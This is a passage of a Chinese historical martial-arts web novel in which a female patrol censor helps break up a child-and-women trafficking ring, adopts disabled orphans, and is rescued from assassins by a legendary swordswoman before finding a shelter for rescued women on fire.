天啊,那些藏在家里的人们忍不住捂住了嘴。那些被抓起来的竟是无忧洞的贼子,这么多年了,无忧洞一直在京中肆虐,官府的人向来都是雷声大雨点儿小。没想到今夜竟不吭声憋了个大的! 看看那被抓起来的都快上百人了吧。只是一想这些贼子就生活在自己脚下,大家就有些不寒而栗。尤其是那些官府的人还小心翼翼的带出来一群年轻的女娘和小孩儿。这下还有什么不明白的?这是捣毁了无忧洞拐卖人口的窝点呀! 这下不管家中有没有被拐走妇女儿童的人家都忍不住为他们感到高兴。既然朝廷已经伸手管理,他们以后的日子岂不是越来越安全了?现在谁家有个长相漂亮的女娘或者小孩儿,就不用再藏着掖着,不敢让他们出门走动了。 大家恨不得奔走相告,只是有更多的人都在疑惑,那声巨大的仿佛平地雷霆一样的动静是由什么引起的。 等到了第二天早上,昨晚的事儿整个京城都传遍了。就算住的远些的人家也被自己的亲朋好友悄悄的告知了这个消息。 “你听说了吗?昨晚天上的雷霆神君震怒,降下惩罚,才让无忧洞那些贼子被官府抓住。那动静大的哟,地上都被炸出了好大一个窟窿。” “何止呀,我还听说救出来了好多漂亮的女娘和小孩儿。老天保佑,这要是真的该有多好,那群无忧洞的贼子早就该死了。我二舅家的小女儿生的那叫一个漂亮,结果大白天悄无声息的就不见了,至今也不知道是生是死。” “让我说啊,那些被抓起来的贼子都该死!” “我也这么觉得。” 总而言之,那叫一个群情激愤。甚至一大早还有从四面八方赶过来的百姓带了香火祭品到那个大坑附近祭拜。 说起来那被炸了好大一块的地方是京中一个没人居住的宅院。在这样寸土寸金的地方,发生了这样的爆炸,主人竟然都没出来说话,不是废弃的宅院是什么?当然了,对于普通百姓来说这些都不重要,他们赶到的时候其中一面墙已经倒了,炸开的大坑从墙里蔓延到墙外,地面满是焦黑的痕迹。 凑热闹的人一边发出惊叹,一边凑过去小心翼翼的看,只是官府的人实在是太碍事儿了,组成的人墙挡的结结实实,想靠近都不成。但正是因为这样遮遮掩掩的,才让大家的探究欲望更加强烈。 一辆朴实无华普普通通的蓝布马车停在远处远远的看了一眼,随即悄无声息的离开。在京城里七拐八拐的转了三圈儿,才悄悄地进了一座幽深寂静的宅院。 宅院深处,一个面无表情坐着的年轻男子冷冷的盯着进门就趴下的下属,凛冽的杀气在屋子里纵横来回,许久之后才勉强抑制住。 “那个姓易的,我要他死。” 不管以前多么趁手好用,可一旦被抓,唯一的结果就是死。毕竟在这世上,只有死人不会说话。那个姓易的,早就该在被抓的那一刻自裁,现在还不死,莫不是存着举告求活的想法? 这样的人还活着,始终是个祸害。早死早好! 那趴伏在地上的人一句反驳的话也不敢说,只能磕头如捣蒜,战战兢兢的表示自己一定会完成主子嘱咐下来的所有事情,只求能留他一条狗命。 年轻男人鄙视的看了一眼这个没用的下属,想起他平时也算忠心耿耿,最后还是留了他一条狗命。 “把所有的尾巴都扫干净,如果被人查出来和我有关,你全家,包括你养在外面的那两个小妾和私生子,一个不差,都得给我死。” “是是是,多谢主子高抬贵手留我一条贱命,小的以后一定尽心竭力做事,绝对不敢再有疏漏。” 等他抬头的时候,发现那位年纪轻轻盛气凌人的主子已经转身离开了,只有腰间佩戴的玉佩丝绦在转身的时候折射着黄色的光。 与此同时,魏渊也将自己的调查结果呈给了陛下。 景泰帝面不改色的翻看着那些证据,只有眼神越来越幽深。好半晌,才语气低沉的开口。 “所以,在京城里竟真的有一座无主的宅院?不是都说帝都居大不易吗?怎么那么大一所宅院竟然没有主人?户部也查不出这宅院主人的任何消息。最近一位主人竟然是五十年前的前朝翰林学士?” “回陛下,正是如此。” “这可真是奇了,这宅院五十年都没有主人,竟然也没有腐朽,反而新的很,平日里也没有乞丐地痞流氓啥的去占个屋子?去年冬天那样寒冷,京兆府尹说冻死的人没有成千也有上百。他们怎么就不知道找个可以避寒风的地方?” “……” 魏渊只好沉默以待,想到调查得来的东西,他忍不住为自己捏了把冷汗。其实明眼人都知道这身后有谁插手,可是他不能说,至少不能主动说。 毕竟这天下到底还是景家的天下,他只是一个无权无势的小官,皇家争权夺利的事儿,他掺和进去就是一个死。 景泰帝沉默了许久,最终一把将那些证据揉成团,冷笑出声。 “朕君临天下不过短短十三载,竟然也养出了硕鼠……” 第四十九章 哎呀我的大人呐 气氛一时间陷入了僵硬,就在魏渊都以为这件事要到此为止的时候,却听见顶上端坐的帝王阴冷的声音。 “是朕这些年脾气越发好了才让他们这么过分?还真以为我老了?老子还能提的动刀!” “魏渊!” 魏渊猛然站直身子,感受到背后的汗毛根根竖起,一股无法言说的激动叫他手指忍不住颤抖,他也说不清楚这份激动是从何而来,只是敏锐的感到,要变天了。 景泰帝缓缓站起身,目光似乎没有落脚点,轻描淡写的开口。 “朕命你彻查这件事,记住,一定要彻查!不管最后查到谁的头上,朕在这里站着,你无需畏惧!朕只要一个结果,一个可以让我,让那些被无故抓走的妇人孩童可以认同的结果。” 那些被抓走的妇人孩童也是他的子民,他们安居乐业渴望平凡的生活难道也是一种错?他们明明什么错也没有,却因为某些人的私欲被抓走。有些命薄的早已经魂归大地,就算侥幸活下来的也是生不如死。想起那些刚被抓走的妇人孩童,景泰帝就眉目阴沉。 这么多年,似乎所有人都已经忘记,他也只是个泥腿子出身的皇帝。哪怕今日已经坐在金銮殿上,坐在万万百姓头顶,他也依旧愿意俯身去看大地。他无法忍受那些只是渴望平凡日子的百姓受苦,更无法忍受带给他们苦难的竟是自己身边人。 想起朝中波云诡谲的局势,以及越来越大的儿子们,景泰帝脸上露出一丝狰狞的杀意。他是老了,可还没死!这个天下依旧是他说了算,他说百姓要平安,不让百姓平安的人就得死! 魏渊强忍住心头的激动,大声应是,小心翼翼的退出去之后大步走向宫门。等待已久的属下们惊讶的看着自己的头领,他们还从未见过这般精神奕奕的头领,看来陛下确实交代了他很重要的事情啊…… 只是谁也没想到这场普通的孩童丢失案引发的震动会持续如此之久。滚落下来的雪球原本毫不起眼,可是随着不断滚落,带起的雪花越来越多,最终滚成了一个巨大的雪球,沉沉的压在整个京城的人心头。 不少心里有鬼的人都不敢在这个时候冒头,恨不得这件事抓紧时间过去,若是不小心被牵连可如何是好? 等九阙反应过来的时候,整个京城已经风声鹤唳,那些平日里打马游街的纨绔子弟们都消失不见,甚至连个闲逛的人都没有,让她这个巡城御史很是无事可做啊。 站在街角摸着下巴思考起这个问题,九阙无奈的叹了口气,觉得人生简直是寂寞如雪啊。 身后跟着的两个由景泰帝亲自挑选的侍卫这会儿紧紧的跟在应九阙身后,眼睛时刻不离对方。这可是陛下的宝贝疙瘩,现下恐怕除了她自己,谁都知道这一点。不过这样备受陛下重视的应大人,完全没有一点儿身为宠臣的感觉,兴冲冲的准备在回家路上巡街。结果抬头一看,这街上干净的简直堪比钱袋子啊。 啊不,现在应大人的钱袋子满的很。 看了一圈儿觉得没有自己的事儿,九阙就有些遗憾的朝着自己家走去。只是还没到家里,就听到热闹的锣鼓喧天声,也不知道是谁家里办喜事,竟然这么热闹。还没走到家里那条街,人就已经多的挤不动。 “这谁家办喜事儿呢?今天是个良辰吉日?我怎么没有听说?” 听到九阙的声音,前面正奋力往里挤的人翻了个白眼。 “你知道什么啊,这是大家在欢迎那位救了这么多孩子的官儿,就是那位女巡城御史,嘿,我也是头一回见这么有骨气的巡城御史,那么柔弱的女子,竟然也能奋战敌人,据说那贼首都被应大人一拳打倒,解恨的很……” 说着说着,那人的声音就小了下去,他呆呆的看着不好意思的九阙,声音都磕磕绊绊的。 “什,什么?应大人?您回来了?!别敲了,应大人回来了!正主都回来了!赶紧让开!” 前面被不停啪啪啪打肩膀的人本来还很生气,但是听清楚之后顿时喜笑颜开。就像无声蔓延的雾气似的,不出一个呼吸时间,所有人停下了手中的动作,齐刷刷的朝着九阙看过来。其实这种场景是很吓人的,九阙就觉得自己好像被什么无声的野兽盯上,神经一下就绷紧了。 就在这时候,一声嚎啕传来,一个浑身五颜六色的人影一把扑到九阙身上,哎呀呀的哭起来。 “哎呀我的大人呐,要不是您,我可怜的大孙子呦,就回不来了哇啊啊,哎呀我的大人呐……” 九阙觉得自己脑门上现在一定有无数黑线垂下。这怎么还唱上了?不是,这是哭丧吧?别以为她不懂这个,她以前在庄子里的时候可是亲眼见过,那些哭丧的妇人们就是这样哭天抹泪的,唱的还很有韵味! 她虽然身体弱些,可还活的好好的呢。 这时候林大娘的儿子也觉得有些不对劲,连忙拉住自家老娘。 “娘,哭错了,应大人活的好好的,人家前途无量,你哭什么啊?” 是啊大娘,我知道你想感谢我,但是,你好像哭错坟了…… 林大娘不好意思的一抹脸,脸上果然是干干净净的。 “对不住啊应大人,以前做过这个,没改过来。不过您请相信,老婆子我是真想感谢您。要不是您青天再世,我那大孙子可不会找回来的这么快。差一点儿,真的就差一点儿,我孙子就找不回……” 说着说着,林大娘就忍不住嚎啕大哭。天知道孩子找回来一天两夜了,林大娘一直攥着孩子的手不敢放开,生怕什么时候自己一松手,人就不见了。 要是大孙子找不回来,就算儿子儿媳不怨她,林大娘自己就过不去自己那一关。 所以,说一句九阙救了他们一家子,那可真是没说错。 木老也叹了口气,一边无奈妹妹的失态,一边感激九阙。今天林大娘闹出来这么大动静,也有她的首肯。当然,她的目的不是感谢这么简单。锦衣夜行,可显现不出这位应青天的厉害,让整个京城,尤其是最大的那位知晓朝中有位这么厉害的女官儿,才是保证应大人不会在这场剿匪救人的大战中被抹去功劳的保证! 第五十章 应远道 “木老?” 没想到连木老都赞同这样招摇的事情。其实九阙也不是不喜欢,就是觉得吧,呃,有点儿尴尬。这人也太多了,而且自己只是做了应该做的事情,怎么就值得这么敲锣打鼓的感谢了。且那天晚上真正忙碌的人也不只有自己,那些真正冲杀在前不顾危险也要把拐子们一网打尽的巡城军们才是最值得感谢的。 木老对着应九阙感激一笑,随即直接弯腰低头,结结实实的给应九阙行了一礼。 “我等多谢大人救命之恩……” 林大娘等人更是激动随着行礼,包括那些孩子丢了之后找回来被送回去的人们,他们都只是一群最普通的百姓,没有一张舌灿莲花的嘴,也不会说什么虚话,这会儿更是只会随着大家深深地弯腰。可就是这么一群普普通通的百姓,当他们面含真挚的弯下腰,对着一位真正把他们放在心里的官员表达谢意时,竟然也能让所有人失语。 赶在九阙身边的那两个侍卫有个众所周知的作用,就是细作。他们奉命保护应九阙的安危,也要把有关她的所有一切奉告陛下。在此之前,他们只知道这是一个可以研究出‘信号弹’‘霹雳火’这等神兵利器的神人,现在才知道,原来她竟是个心怀慈悲的官员。 是啊,这时候他们才真正认识到,自己奉命保护的这人,即便是女子之身,却也是堂堂正正的官!如果整个大景都是这样能把百姓放心上的官员,他们都不敢想象这个世界会变成什么样。 最后,九阙实在是抗拒不了大家的热情,只能在人群簇拥之中简单的说了几句感谢的话,然后极力拒绝那些送过来的鸡鸭鱼肉米面银钱之类的东西。 “不成不成!我只是做到了自己应该做的,大家生活也不容易,这些到东西诸位还是带走吧。” 眼看着自己要被包围了,九阙无奈三连拒绝,最后只能无助的求助木老。其实她可以藏进家里不出来,可就怕这些百姓把东西什么的堆放在她家门口啊。 木老笑着看了会儿,然后出言帮忙,总算是帮忙解救了九阙。等人群渐渐散去,九阙邀请木老几人进来歇息。木老推辞了几番,最终还是进去了,她还有件事念念不忘。 只是刚进去就看见了一群紧张好奇盯着自己看的小孩儿。木老虽然年纪不小,可眼神却还利索的很。仔细一看,这不是那群经常在各个地方来回跑的小乞儿吗?怎么在应大人家里?再看看他们身上崭新干净的衣服,以及多了几丝血色的脸蛋,忍不住露出个笑意。她说这两日怎么不见人,原来是被应大人收养了。 比起正规的待客厅,木老等人更愿意待在庭院里,也能和那几个小孩子说说话。九阙本来也是个不拘小节的人,干脆就带着大家在院中亭子里坐了下来。 木老严肃僵硬的脸上挤出来一个笑容,那叫一个能止小儿啼哭。几个孩子都有些害怕,倒是小泥巴,一点儿都不怵,还上前一步,跟他们打了个招呼,落落大方的很。 “好,真好啊……” 木老不知想起了什么,眼中有一丝水光闪过,但很快就隐去,下次对九阙露出了感激的笑容。 “大人,您是个好心肠的人,这些孩子也是苦命人,幸亏得您救助,这才能离开无忧洞那个吃人的地方……只是,我想多嘴问一句,这几个孩子您准备如何安置?我知道城外有一家慈安堂,专门安置孤儿,堂主确实是个慈悲心肠的,虽说日子清苦些,总能吃饱穿暖,等他们满十二岁,就能出来找些活计,慢慢的,也就能养活的起自己了。” 说到这里,小泥巴几个有些紧张的动了动身子,木老注意到小泥巴等人身上极力隐藏的残缺之处,禁不住心中叹气,但还是安慰他们。 “没关系,只要愿意吃苦,总能养活得了自己。” 只是他们身有残缺,会比别人辛苦百倍,说不定也得不到应该有的报酬。现在虽说不打仗了,可一些奇奇怪怪的言论想法却出来了,认为身有残缺的人定然是受上天厌弃之人,否则为什么别人都手脚俱全,只有你身体残缺? 木老对这样的说法其实嗤之以鼻,之前连年打仗的时候,逃难的人受伤很罕见吗?那时候缺胳膊少腿的可不仅仅只有战场上退下来的士兵。那时候怎么不说什么身体不能有残缺?都是放屁!这就是饭吃太饱了闲着没事干闲出屁来了! 不得不说,木老的想法当真是前卫极了。九阙对此直接鼓掌表示赞同。 “说的对!就算身有残缺又如何?这些孩子很善良,很正直,就算身处泥泞,也一心向善,之前还救了我,是我的救命恩人。” 说着,九阙一把将小脸羞红的小泥巴几个揽在怀里,这些孩子们实在是太可爱了,在宫里这一天两夜,她也记挂得很。 小泥巴有些不好意思,虽然他只有五岁,但也是个大孩子,就是,嗯,就是应大人的怀抱暖暖的,很像记忆里的娘亲,所以他才没有第一时间拒绝。 真是这样。 只是,他们哪里对应大人有救命之恩了?他们只是提醒一下,而且就算没有他们的提醒,应大人身边有武艺高强的侍卫保护,总不会有事的…… 这么想着,小泥巴又觉得有些低落。 “对了木老,多谢你惦记着这些孩子,慈安堂就不用送去了,改天我捐些米面过去。只是我早已经承诺这些孩子,让他们留在我家里。从今以后,他们就是我的弟子了。以后要给我摔盆的那种哈哈……当然了,我也会给他们找父母,找到之后如果愿意,就跟着父母回去,要是他们父母不愿意或者已经,咳,那就继续跟着我。总有他们的一口饭吃。” “喏,这就是我的大弟子。我暂时给他取了个名字叫着,长大后可以自行取一个。” “远道。” “他以后就叫远道。” 明明是身有残缺的孩子,却偏偏叫远道。因为九阙一直深信,这孩子坚韧正直的性子,可以支撑着他,越走越远。 天涯远道,心自圆满。 远道。 应远道。 第五十一章 快跟上 先不说得到了新名字激动的小脸通红的应远道,就连木老也恍惚了许久,才赞叹。 “是个好名字。” 倒是她狭隘了。 九阙不在意,毕竟对方也是好意。倒是这个慈安堂,她来京城的时间太短,倒是不知道竟然有这么个地方。木老很愿意给应九阙解惑。 “那堂主是个从战场上退下来的老兵,说是回家的时候发现家里人都死光了,伤心欲绝之下干脆离开了家乡,没有婚娶,最开始只是收养了几个无家可归的孩子,后来越来越多,最终建了慈安堂。” 紧挨着京城,有无忧洞在侧,还能把孩子们养大,那堂主倒也是个妙人,只是不知对方究竟是什么来头…… 这时候,木老也趁机问出了自己此行最大的疑问。 “其实这件事,老妇人也知道不是我这样身份的人能问的。只是如果不能得到个准确消息,我真是睡也睡不安稳。毕竟谁家都有个年轻小娘子,也都有孩子,谁都怕好端端的,家里的孩子不见了。应大人,我想托大问一句,这无忧洞之事,难道就到此为止了?” 前几日夜里那么大的动静,都说是雷霆真君下凡惩罚无忧洞那些恶人,也有说是应大人闹出来的动静。真真假假,他们这些普通百姓分辨不出,但木老唯一迫切想知道的是,既然此事已经闹大,若是不趁机追击,等无忧洞那些贼子缓过来,势必会卷土重来甚至打击报复。 只有千日做贼的,哪有千日防贼的?那些普通人每日都要为了生计奔波,经年累月防备拐子,也不太可能。 九阙挑了挑眉,摸摸应远道的脑袋,小孩子的头发因为常年缺少营养变得干枯发黄,手感不是很好,但九阙还是很喜欢。 “木老这就妄自菲薄了,您哪里是普通老妇人?有这样的真知灼见,您才是隐世高人啊!” 九阙倒不是恭维木老,实在是和她的短短几次接触,九阙都觉得这位老人家有种超出寻常的智慧。大概这就是人们说的家有一老如有一宝吧。 那些找回孩子的人家还在高兴,木老却已经考虑了那么远,实在是叫人惊喜。 不过这件事,九阙自己也不能保证。 “但我只是个六品小官儿,这事儿我还真不知道。” 在木老有些失望的眼神里,九阙接着开口。 “但是有件事,我想咱们都知道。” “我们的陛下,可不是个温和的君主。” 那可是个杀伐果断的帝王,想来,他也已经看无忧洞很不顺眼了。虽然和景泰帝相处不多,但九阙也算稍微了解陛下一些。 那位陛下从泥泞中挣扎而出,并没有对自己那段经历感到屈辱,反而坦坦荡荡提起。所以,当初身为普通百姓时那种种待遇,会让他更多的偏向底层百姓。他会把这件事好好解决的。 木老一顿,随即豁然开朗。 是啊,无论如何,她都不该忘记,正是这位陛下将十几年前被战争折磨的无法喘息的他们解救出来,有了这整整十三年的太平日子。所以她还在担忧什么呢?只需要信任陛下就是了。 送走保证自己不会多嘴的木老等人,九阙伸了个懒腰,见时间还早,干脆带着远道几个去街上闲逛。虽然已经给他们添置了新衣裳鞋袜,不过一些小孩子需要的玩具文具还是需要再购置一些。刚好陛下赏了她那么多金子,闲着也是闲着,花钱去。 带着一串小孩儿,九阙兴致勃勃,现下正是下午,街上人渐渐多了起来。九阙带着一群安静乖巧又好奇的小娃娃们闲逛,远道本来还担心大家认出他们之后会嫌弃。但,不管是路边的摊主还是店家,在惊讶之后都露出了笑容。 “是你们啊,我还想着怎么好几天不见人了,原来是应大人收养了你们。应大人可是个好人,你们可得知恩图报,好好报答应大人啊。” 一个路边卖麦芽糖的中年妇人温柔的看着他们,还一人送了一块儿麦芽糖,九阙要付钱,她死活都不要,最后还是趁着她招呼生意的时候悄悄放在她摊位上跑了。 远道被九阙拉着手于人来人往的街道上奔跑。他记得刚刚那位婶婶,半年前,他快饿死的时候,婶婶把摊位上没有卖完的麦芽糖放在路边的破碗里,那时候这位婶婶其实是有些害怕的,因为那些在暗处等着他们这群小乞丐讨钱的无忧洞贼人还在虎视眈眈。但就算她一句话也没跟自己说,远道还是记得很深。 因为那麦芽糖,真的很甜。 远道原本是个十分坚强的小孩儿,但不知为何,这几日却总是绷不住,大颗大颗的泪珠落在地上,溅起一个个小土坑。 他想起了师傅说的话。 “其实这世上还是好人多,只是大家运气不太好,遇见的坏人多些。也不要怪别人不敢多和你们接触,因为大家平常遇见的那些很多都是普通人,忙忙碌碌一辈子,无非就是为了碎银几两,家人安康。为了保护自己现有的生活,他们没站出来,也是情有可原。毕竟,你们和他们没有任何关系,陌生人之间,本就没有太多情意。” “但是,多想想那些好人吧,想想他们偶尔给的一丁点善意,他们也是花费了很大力气和勇气,才敢站出来那么一小步。” “很多人拼尽全力,一辈子也只是个普通人,咱们不要苛责太多,看重现在,好吗?” 远道抽了下鼻子,看着前面紧紧握着自己残缺手掌的师傅,忍不住露出了个笑意。师傅就是那个又勇敢又傻的人啊!明明只是萍水相逢,却可以为了他们几个毫无血缘关系的小孩儿以身犯险,甚至还收养了他们…… 狠狠擦了把脸,又哭又笑的,其实很傻,但远道一点儿都不觉得,他觉得自己真是天下最最幸运的小孩儿,一路走来他遇到了很多善意,那些或明显或不明显的善意支撑着他走到现在,所以,从今往后,他也会用最大的善意对人。 这大概就是师傅说的‘传递’吧…… “远道?快跟上。” “哎!来了师傅!” 第五十二章 高人相助 九阙带着孩子们在街上疯转,买了一大堆东西,到最后抱都抱不下了,还是靠着身后的两位侍卫大哥才帮他们拿好。远道他们几个还没有体会过像这样无拘无束不考虑贵贱,只考虑如何花钱的日子,这会儿都快有些适应不了了。 原来当一个被宠爱着的孩子是这么快乐。 “蛋烘糕,刚出炉的蛋烘糕,又酥又软又香喽——” 听见这拉长了嗓音的叫卖,鼻端猛然闻见一股浓郁的香味儿,九阙连忙带着孩子们冲向前方的小吃摊位。看见他们这群客人,卖蛋烘糕的老爷爷喜笑颜开,多给了他们两个一群人抱着软乎乎的蛋烘糕吃的心满意足。就在九阙带着孩子们准备穿过街道的时候,突然感觉好像被什么东西碰了一下,鼻端又是一股隐隐有些熟悉清新的味道。 什么味道?她好像在什么地方闻到过。立马回头,可街道上除了穿梭往来的人们,并没有任何异样。 低头一看,手中柔软的蛋烘糕上插了一个拇指长的异物。 身后的两个侍卫却没有察觉。这两个侍卫的身份九阙一清二楚,景泰帝亲自赐下的侍卫,不说别的,身手定然是数一数二的好。可他们却没有发现一丝异样。如果留下纸条的人对自己有杀意,只怕这会儿她早已经身首异处。所以,是朋友吗? 轻手轻脚的把这张纸条展开,上面三个简单的字却叫九阙瞳孔微缩,立马叫上孩子们打道回府。 那两个侍卫虽然奇怪应大人为何突然改了主意,原本说准备去醉仙楼吃席,不过回到家里倒是更方便保护应大人。 离家越来越近,九阙心中的担忧就越来越重。孩子们似乎也感觉到了她的担忧,纷纷加快了脚步。然而即便他们已经十分迅速且小心,可是在经过一个拐角的时候,迎面而来的一支箭还是让九阙皱眉。 “咔嚓!” 其中一个侍卫飞身上前扔出手中的糖葫芦等杂物直接将那支箭撞倒在地,同时利刃出鞘,毫不犹豫的冲了上去。拐角处那个卖香囊的老人家脸色一变,翻手从车子下面抽出来一柄长刀,两人斗了个旗鼓相当。 剩下的那个侍卫紧紧的护着九阙等人,警惕的观察四周情况。这里距离应府已经不远,按理说听到这样的动静里面驻守的兄弟们早就应该出来救援才是。拖到现在还没动静,难道是家里出事了? 果不其然,下一刻从四面八方涌上来一大群穿着各异的人,男女老少都有,不知道是不是伪装,因为他们的武艺相当高超,动起手来干脆利落。而且他们的目标十分统一,就是应九阙。 只是这个时候他们并不像对应九阙有杀意,更像是想从那两个侍卫手中把应九阙抢走。九阙一边护着孩子们往后退,一边抽空想自己有什么魅力,能让这群人花费这么大的精力出手。 保护九阙的侍卫是景泰帝倾心培养的暗卫,他们没有名字,只有代号,一个是甲二十三,一个是乙十一。 景泰帝有甲乙丙丁戊己庚辛壬癸十支暗卫,每一个都是精心培养出来的,看起来多,可是他们不仅要负责景泰帝的安危,还会外出执行任务,因此人手相当紧缺,在这样的情况下,景泰帝都愿意从中拨出来两个给九阙,可见对她的重视。 也因此在这么多人的围攻之下,两个侍卫依旧能护住九阙等人。围攻的时间越长,被外人发现的几率就越大,那些乱七八糟的人这会儿似乎也着急了,彼此对视一眼,手上的招式一变,杀气凛然。 “主子有令。若是带不走,就地格杀!” 九阙皱了皱眉,从腰间拔出来一把手掌长短的匕首。前几日参与无忧洞之案时也不是丝毫没有收获,至少那位威远伯送她的匕首这会儿就派上了用场。 之前那些人没有下杀手的时候,两个护卫倒是能保护住九阙和那几个孩子,但关键是九阙他们的目标太大,而对面的人手又太多,随意扔出来几把暗器,护住他们的甲二十三就得拼尽全力击落,因为那些暗器上淬的都有毒。 渐渐的,甲二十三就捉襟见肘起来。 总不能就这么眼睁睁看着对方受伤呀,九阙这会儿着急的很,想要上前帮忙,但又担心自己拖后腿。 “噗嗤!” 就在这时,一枚细小的梅花镖避开甲二十三的防御,没入对方小臂。几乎是转瞬之间,他的小臂就变得乌黑发紫。 因为这次受伤他的动作难免有所迟滞,就在这眨眼之间,无数淬了毒的暗器朝着九阙和那几个孩子铺天盖地的袭来。甲二十三和乙十一同时脸色大变,就要冲过来阻挡。但已经来不及了,九阙也只来得及将几个孩子塞到自己身后,试图用自己的脊背去挡这些飞速而来的暗器。 “师傅!” 在应远道猛然瞪大的瞳孔之中,那些如同索命利器一样的暗器以一个匪夷所思的速度朝着这边飞来,就在应远道神魂俱裂的那一刻,就像神明降世一般,那些五花八门密密麻麻的暗器突然停在了空中。 是的,它们就这么停下了。 就像一场闹剧一样。 “呼,呼……” 应九阙也察觉了不对劲,回头一看,发现了这犹如戏法一般的场景。嘶,这是谁出手相助。 下一刻,一个火红的身影从天而降,那是一个娇小玲珑的女人,背对着九阙,头发编成一个个的小辫子,上面装饰着精巧的饰物,在阳光下闪闪发亮。 九阙还没回过神,就听到对方的怒骂。 “一群臭不要脸的老不死们,这么多人欺负几个娃娃,还真是给我们江湖人长脸!长的那些岁数都被你们给吃了?这要是传出去,得被天下人耻笑死。我要是你们,干脆把脸蒙起来算了,反正也羞于见人!” 原本打算道谢的九阙又默默缩了回去,护紧了几个小孩儿。呃,总觉得这个时候上去会打扰这位前辈发挥…… 不过,人家的嘴皮子怎么这么厉害? 第五十三章 天下第一,崔逐风 那些猝不及防间被骂的狗血淋头的杀手们此刻脸色都很难看。并不仅仅是因为刚刚那难听的骂声,更因为这个突然出现的女人竟然毫不见动作,就可以把他们所有的暗器都定在半空中,丝毫没有落下的趋势。 这得是有多深厚的内力才能做到? 一想到原本十拿九稳的任务竟然会这么失败,众人怎么都笑不出来。 此刻那骂了个高兴的女子侧过头来看看应九阙,有些不满。 “我不是提醒过让你赶紧回去吗?怎么还在街上闲逛?” “呃……这位大侠,其实我的速度已经很快了。只不过咱俩的速度可能不太一样……” 从看到这位女侠的第一眼起,九阙就已经确定她就是曾经提醒过自己两次的好心人。只不过大侠的世界可能和她这种普通人还是有壁。 九阙这会儿也没说什么,只是担忧的看了一眼面前的情况,这位大侠能应付得了那么多杀手吗?也不知道有没有人来救援…… 那位女侠随手挥了挥衣袖,定格在半空中的暗器齐刷刷掉了个头,在杀手们惊恐的目光中朝着他们飞速射去。 “噼里啪啦”“噗嗤”,一阵乱七八糟的声音过后,地上躺了一片动弹不得的‘尸首’。 寥寥几个将暗器击落在地的杀手脸色难看至极,他们望着突然出现的女人,心中隐隐有了个猜测。 “你是……崔逐风?” 那个传说中的天下第一高手? 女侠漫不经心的瞥了他们一眼,随手一招,路边那棵长得茂盛的柳树突然飞过来几片叶子,明明是极其柔软的植物叶片,可在此刻却发出了铁器一般铮鸣的声音。 不管她是不是崔逐风,都没打算让这群人能站着离开。 很显然剩下的那几个也只是负隅顽抗,在这些叶片飞过去之后,他们就一个个倒下了。 甲二十三和乙十一这会儿已经警惕的护在九阙身前,看着这个不知来意的江湖人士,随时准备带着应大人离开。之前那些杀手他们还能阻挡甚至反杀,可是在这个女人面前他们连一丝反抗的念头都升不起来,因为彼此之间的差距实在是太大了,再加上他们两个擅长的本来就不是搏斗,这会儿更是冷汗连连。完不成任务受罚还是小事,像应大人这般能造出那等出神入化武器的人,若是真折在这里,他们就是万死难辞的罪人! 然而崔逐风却根本没把那两个小家伙放在眼里。轻描淡写的弹了弹手指头,两人就被看不见的劲风撞飞。 “两个小家伙都受伤了,还这么倔,我这辈子最害怕的就是你们这样的人。应大人,我有件事想请你帮忙,你们不是在追查无忧洞吗?那些被抓起来的女子,你们负不负责接管?” 九阙眼睛一亮。 “前辈的意思是……您救了那些被藏起来的女子?负责!我能负责。” “那就好。” 崔逐风十分满意。 像她这样的江湖人士如果能避免和官府打交道最好,可是那些被关起来的女子少说也有两百多个。她这人生平最不喜欢的就是麻烦,虽然救了那些女娃娃们,可是,如何安置她们却成了一个难题。 她可是江湖人士啊,肆意随风,飘忽不定。怎么可能有时间安排好她们的余生?像这种麻烦事还是交给官府吧,刚好她就认识那么一个绝对不会怕麻烦的官员。 说走就走,带着应九阙和两个依旧警惕的护卫朝着城南的位置走去。九阙这一路上还想跟她搭个话,毕竟是个武艺高强的大侠诶。像九阙这样的年轻人,哪个不会在心里暗暗羡慕那些行走江湖快意人生的大侠们?而且这还是位武艺高强的女侠,简直就是九阙心目中的英雄人物典范! 崔逐风武艺十分高强,但意外的随和。基本上九阙问什么她都会回答,当然了,这主要是她看应九阙十分顺眼,和那些尸位裹素的官员们不一样。 “前辈,之前提醒人在无忧洞的好心人就是您吧?您是怎么发现的?还有那些被藏起来的女子,要知道这两天巡城军满城搜索,都快找疯了,也没找到那么多的被拐女子。像这种事有没有诀窍?” 结果这话一出口,本来还兴致勃勃的崔逐风脸色有些不太好看。 “运气好点儿就不会了。” “啊?这……” 是的,崔逐风武艺高强,几乎举世无敌,但她有个极其致命的缺点,那就是运气太差。 几乎每到一个地方,那些麻烦事儿都会主动找上门来。就像这次心血来潮到京师游玩,没想到竟然会被那些不长眼的当成柔弱女子拐骗。这崔逐风能忍吗?当然不能。直接就把准备拐走她的男人揍了个动弹不得,只是她也随之发现被拐的女子不仅她一个。 大批量的女子孩童在不知不觉间消失,可是京兆府尹竟然没有一点儿动静。 这不符合常理啊,一般来说,家中人口丢失第一反应就是去官府报官。就算京兆府尹不作为,也会记录在案,意思意思派人搜查。可这次崔逐风特意将状纸丢到京兆府门口,结果那些出来的捕快只是看了一眼就脸色一变,直接带着那状纸回去,再也没有出来。 很显然,他们不准备管这事儿。这可就让崔逐风来了兴趣,同时升腾起来的还有怒火。 都说已经太平盛世,怎么在天子脚下还有这样的恶心事儿?她倒是救了不少被拐的女子,那些女子都有一个同样的特点,不管环肥燕瘦,都长相漂亮,身姿婀娜。 把这样的女娃娃们抓起来还能有什么目的?不过就是为了肮脏的欲望罢了。 同为女子,崔逐风对这样的事情十分厌恶,于是在发现应九阙这个难得的女官之后就暗中帮了一把,现在到她回馈的时候了。那些女孩子们哭哭啼啼的,大部分心如死灰,生出死志。她就算身手天下第一也拿这些孩子们没办法。不过,身为官员的应九阙肯定有办法。 眼看着快要到达安置那些女孩子们的宅院,崔逐风的心情也好了不少,直到她看见宅子方向滚滚而上的浓烟,脸色瞬间阴冷,一个闪身人就不见了。 第五十四章 杀人灭口 九阙也看到了那滚滚而上的浓烟,心中觉得不好,紧赶慢赶的冲上去,结果就看到一幢在火光中逐渐焦黑坍塌的宅院。 都说水火无情,刚刚九阙看到的时候其实火势还没那么大,可此刻,火势冲天,她还没靠近那座宅院就已经被滚烫的热度灼烧的脸上发烫。 “应大人!” 甲二十三连忙制止想要靠近的应九阙,现在火势那么大,应大人一个不懂武功的普通人,但凡冲过去,一个不小心就是重伤。 九阙其实也清楚,可是刚刚那位武艺高强的女侠现在不知所踪,肯定是进去了。火势这么大,那位女侠不会受伤吧?虽然只是第一次见面,可九阙对这位武艺高强飞来飞去的高人很有好感。 